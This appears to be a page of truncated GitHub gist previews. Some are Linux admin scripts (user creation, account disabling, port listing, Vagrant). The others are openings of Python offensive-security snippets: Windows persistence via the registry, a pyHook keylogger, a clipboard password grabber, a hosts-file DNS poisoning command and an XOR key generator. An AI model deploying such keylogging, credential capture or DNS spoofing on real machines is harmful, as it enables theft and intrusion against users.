This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# this script creates a new user on the local system | |
# you will be prompted to enter the username (login), the person name and password | |
if [[ "${UID}" -ne 0 ]] | |
then | |
echo "Run it with sudo privileges or as root" | |
exit 1 | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# deleting - disabling linux accounts | |
readonly ARCHIVE_DIR='/archive' # program variable | |
usage() { | |
echo "Usage: ${0} [-dra] USER [USERN]" | |
echo "Disable a local Linux account" | |
echo "-d Deletes accounts instead of disabling them" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# this script shows the open network ports on a system | |
# -4 to limit TCP IPv4 ports | |
if [[ "${1}" = '-4' ]] | |
then | |
netstat -nutl ${1} | grep ':' | awk '{print $4}' | awk -F ':' '{print $NF}' | |
fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Vagrant.configure("2") do |config| | |
config.vm.box = "jasonc/centos7" | |
# first machine | |
config.vm.define "admin01" do |admin01| | |
admin01.vm.hostname = 'admin01' | |
admin01.vm.network "private_network", ip: "10.9.8.10" | |
end | |
# second machine |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import os | |
import shutil | |
import _winreg as wreg | |
import subprocess | |
# getting the cwd | |
path = os.getcwd().strip('\n') | |
# grabbing the username using a subprocess command for building the destination path | |
null, user = subprocess.check_output('set USERPROFILE', shell=True).split('=') # C:\Users\Administrador |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import pythoncom, pyHook | |
def key_pressed(event): | |
# variable that will handle the keystrokes | |
global store | |
# evaluate the Enter key | |
if event.Ascii==13: | |
keys = '<ENTER>' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import pyperclip | |
import time | |
p_list = [] # list datatype for password clipboard selection | |
while True: | |
# evaluating existence | |
if pyperclip.paste() != 'None': | |
value = pyperclip.paste() # paste content |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import subprocess | |
import os | |
# change directory of the file | |
os.chdir('C:\Windows\System32\drivers\etc') | |
# appending a fake DNS records to the local DNS host files | |
command = "echo 192.168.1.111 google.com > hosts" | |
# processing command |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import string | |
import random | |
# this will generate a random key used for the XOR encrpytion for 1kb = same as the TCP socket size | |
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(1024)) | |
# printing data | |
print(key) | |
print('\n' + 'Key length' + str(len(key))) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import ctypes | |
if ctypes.wind11.shell32.IsUserAnAdmin() == 0: | |
print("[-] We do not have admin privileges") | |
else: | |
print('[+] We have admin privileges') |